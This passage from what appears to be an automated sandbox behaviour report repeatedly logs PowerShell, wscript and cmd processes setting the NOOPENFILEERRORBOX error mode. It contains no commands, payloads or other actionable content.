Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
